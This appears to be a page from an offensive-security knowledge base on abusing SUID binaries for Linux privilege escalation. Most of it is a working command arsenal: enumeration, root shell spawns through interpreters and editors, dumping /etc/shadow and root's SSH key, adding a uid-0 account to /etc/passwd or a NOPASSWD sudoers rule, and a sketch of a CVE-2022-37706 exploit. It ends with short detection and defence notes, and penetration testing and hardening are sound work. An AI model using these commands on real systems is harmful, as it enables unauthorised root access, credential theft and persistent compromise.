the_open_door
coffee
ESEN
← Back to index

Abusing SUID binaries

Full command arsenal in the cheatsheet

On Linux, the SUID bit (Set User ID, shown as s in the owner column, e.g. -rwsr-xr-x) makes an executable run with its owner's privileges, not the caller's. Its legitimate use is to grant a regular user a narrow task that needs privilege (the classic case is passwd, owned by root, which must write to /etc/shadow). The problem is that a root-owned SUID binary that does more than it should (spawns other programs, reads or writes arbitrary files, interprets commands) becomes an escalation path: the attacker inherits root through it.

Enumeration

Search the whole system for files with the SUID bit (and its cousin SGID):

find / -perm -4000 -type f 2>/dev/null            # SUID
find / -perm -6000 -type f 2>/dev/null            # SUID + SGID
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

Compare the list against a clean system: whatever is extra (nmap, vim, find, python, a binary in /opt) is the candidate. linpeas highlights it in yellow/red.

The rule of thumb: each line below is a distinct invocation depending on which binary holds the bit. The -p is key: without it, bash/sh drop the elevated effective UID at startup (privilege drop); with -p they keep euid=0. GTFOBins catalogs the exact invocation of hundreds of binaries; below are the families by case.

Direct root shell spawn

Binaries that run other programs or interpret commands. If the SUID is on this list, it is an instant shell. Pick the line for the binary you have:

bash -p
env /bin/sh -p
find . -exec /bin/sh -p \; -quit
nmap --interactive                                 # then inside: !sh   (old nmap)
echo 'os.execute("/bin/sh")' > /tmp/x.nse; nmap --script=/tmp/x.nse   # modern nmap
awk 'BEGIN {system("/bin/sh -p")}'
gawk 'BEGIN {system("/bin/sh -p")}'
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/sh -p";'
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh -p"'
node -e 'process.setuid(0); require("child_process").spawn("/bin/sh",["-p"],{stdio:[0,1,2]})'
lua -e 'os.execute("/bin/sh -p")'

Editors/pagers have their own shell escape (handy when the SUID is vim, less or man):

vim.basic -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'
less /etc/profile                                  # then inside: !/bin/sh -p
man man                                            # then inside: !/bin/sh -p

Arbitrary file read as root

When the SUID only reads (no shell), it serves to dump /etc/shadow and crack the hash, or read root's SSH key. One binary per line:

cat /etc/shadow
base64 /etc/shadow | base64 -d
xxd /etc/shadow | xxd -r
od -An -c /etc/shadow
cut -d: -f1 /root/.ssh/id_rsa                       # cut reading the key
tail -c1G /etc/shadow                               # tail dumping the whole file
sed '' /etc/shadow                                  # sed with no script = cat

Arbitrary file write as root

When the SUID writes, the cleanest path is to add ourselves to /etc/passwd with our own password (avoids touching /etc/shadow). The $1$... hash is generated with openssl:

openssl passwd -1 -salt hax pass123                 # -> $1$hax$....  copy the hash
echo 'hax:$1$hax$ROUNDS...:0:0:root:/root:/bin/bash' | tee -a /etc/passwd   # SUID tee
printf 'hax:$1$hax$...:0:0::/root:/bin/bash\n' | dd of=/etc/passwd oflag=append conv=notrunc   # SUID dd
cp /etc/passwd /tmp/p; echo 'hax:...:0:0::/root:/bin/bash' >> /tmp/p; cp /tmp/p /etc/passwd     # SUID cp

Then su hax (password pass123) gives root. Alternative: write a rule into /etc/sudoers (echo 'user ALL=(ALL) NOPASSWD:ALL' | tee -a /etc/sudoers) or drop a SUID bash.

Vulnerable third-party binaries (CVE)

Installed software shipping its own buggy SUID. You don't abuse a feature, you exploit a bug. Example: Enlightenment 0.23.1 / CVE-2022-37706, where enlightenment_sys failed to sanitise a mount path and a crafted directory name ran code as root:

enlightenment_sys /bin/ -c "/tmp/exploit ; /bin/sh"   # (scheme; see the CVE PoC per version)

Pin down the exact version of the binary and look for the CVE, like any other service.

Related sub-vectors when the SUID loads external code: PATH hijacking (calls a binary with no absolute path), shared library injection (dlopens a writable path) and LD_LIBRARY_PATH hijack.

How to detect it. Discovery leaves the trace of a massive find / -perm -4000 (auditd). The abuse has a clear signature: a SUID binary spawning sh -p/bash -p as a child, or a setuid(0) call followed by a shell from a non-admin process (auditd over execve/setuid, Sysmon for Linux). At rest, a new SUID binary in /tmp, /dev/shm or a user's home (the classic rootbash copied from /bin/bash with chmod +s) is a direct post-exploitation indicator.

Defence. Keep the SUID set to a minimum (audit it regularly), strip the bit from anything that doesn't need it (chmod u-s), prefer fine-grained capabilities over full SUID, mount data partitions with nosuid, and patch third-party software that installs privileged binaries. Related to Linux permission abuse and to credential reuse as typical preceding steps.

ToolsPEASS (lin/winPEAS)

Machines where it's used